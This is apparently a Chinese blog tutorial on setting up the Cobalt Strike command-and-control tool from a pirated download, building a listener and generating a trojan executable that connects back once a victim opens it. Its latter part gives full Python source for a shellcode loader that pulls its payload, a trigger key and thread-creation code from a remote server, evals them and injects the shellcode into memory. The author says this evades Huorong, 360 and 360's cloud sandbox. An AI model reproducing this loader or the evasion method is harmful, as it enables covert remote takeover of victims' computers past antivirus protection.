CS全称:Cobaltstrike
下面简称 : CS
是一款专用于 windows
系统的上线工具也可以在Linux中使用,不过效果相对windows差很多
CS的下载地址
我使用的CS是微信公众号下载的
在他的文章中会给出下载地址这里我就直接转载了
https://www.123pan.com/s/x9v9-sTF43.html
下载完之后的目录大概是这样的
CS采用的是C/S架构开发的工具。其特点就是需要服务端(server)和客户端(client)才可以运行
server端用法
server端一般是在服务器中运行,我们将CS的文件上传到服务器之后在服务器中是使用这个文件起server端的服务的
下面我将演示在server端起CS服务的方法
使用vim工具编辑这个文件
vim teamserver
快速来到文件的最底部
将这个 server_port
端口号更改除默认端口外的为任意端口号(这里我改的是7754)
这个参数就是CS的服务端将会在这个端口进行监听,我们一会客户端(client)连接服务器的时候就是连接这个端口
接下来给这个文件赋予执行权限
chmod 777 teamserver
给了执行权限之后就可以起服务了
./teamserver ip passwd
其中passwd的位置填写你连接服务器的密码
IP填写你这台服务器的公网IP
一会连接server端就是填写这个IP
演示:
输完之后的回显和我的一样就说明server端启动成功!
root@Hu4:~/cs_server# ./teamserver 3.3.3.3 123456
[*] Will use existing X509 certificate and keystore (for SSL)
[+] Team server is up on 0.0.0.0:7754
[*] SHA256 hash of SSL cert is: e9ef07c4a497236a5232adb509e99c7f04171318b5f6b70ebf9655724f0478c7
[+] Listener: 7031 started!
接下来就不用管了可以来到client端进行连接服务器了
client端连接
client端也就是我们的客户端,我们客户端启动CS是使用这个文件启动
注意!这个CS必须是使用Java8的环境才可以运行,如果不是请自行切换只Java8之后再启动!
初次打开客户端是这样的
可以看见我们的CS是需要连接服务器才可以运行的
这里的别名可以随便填
端口填写你刚刚使用vim编辑的那个文件中的sever_port中的端口
用户随便填
密码是你刚刚启服务的时候设置的密码
填写完之后点击连接就可以正式的开始使用CS了,如果有出现连接不上的情况请自行去防火墙规则中查看是否放行对应端口
到这里就可以正式的开始使用CS了
点击攻击
通过这个方法可以直接生成一个C2木马,并且是exe文件
缺点:如果对方有开杀毒软件,他一下载下来就会直接被杀软杀掉
初次点击这里要你配置一个监听器才可以正常使用
点一下右边的3个点然后点击添加
然后随便起一个名字,再点一下那个圈出来的加号,HTTP端口(上线)将80端口更改成其他端口。
把上面的配置完之后点击保存就配置好了一个监听器,就是这样的
选择他就可以了
然后点击生成就可以直接生成C2木马
至此对方点击之后就会自动上线,剩下的功能就慢慢摸索把
关于C2马进阶
生成一个不会被杀软识别成功的木马,可以大大的提升上线的成功率
具体方法需要涉及到免杀马的编写
在CS中也有提供C2马的payload
点击生成之后的是python文件的木马,而你要做的就是将他生成的这一串 shellcode
注入到内存中,并且不会被杀软检测到
具体相关文章推荐:
https://www.cnblogs.com/henry666/p/17428579.html
https://www.cnblogs.com/cHr1s/p/14958497.html
https://www.cnblogs.com/1can/p/15014505.html
本人参考的是第三章文章并采用了文件分离的方法成功绕过火绒、360、360云沙箱的查杀
具体源码如下
import ctypes
import requests
while True:
txt0 = requests.get(url='http://x.x.x.x:8080/0.txt').text
txt1 = requests.get(url='http://x.x.x.x:8080/1.txt').text.strip()
txt2 = requests.get(url='http://x.x.x.x:8080/2.txt').text
key = txt1
if key == '1':
# length: 894 bytes
buf = eval(txt0)
code = buf
code = bytearray(code)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
lalala = ctypes.windll.kernel32.VirtualAlloc
lalala1 = ctypes.windll.kernel32.RtlMoveMemory
lalala.restype = ctypes.c_uint64
# 申请内存
ptr = lalala(ctypes.c_int(0), ctypes.c_int(len(code)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(code)).from_buffer(code)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(code))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = eval(txt2)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
else:
break
0.txt文件内的内容就是CS生成的payload,也就是shellcode
1.txt文件内的内容是key也就是密钥,当这个1.txt文件内的内容为 1 时才可以执行注入内存的操作,这样可以过云沙箱检测
2.txt文件内的内容是
创建一个线程从shellcode放置位置首地址开始执行
的代码
如下
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
因为这串代码创建线程写入python打包成exe会被杀软检测到,所以以文件分离的方法单独拿出来放入服务器中这样就可以避免被杀软检测到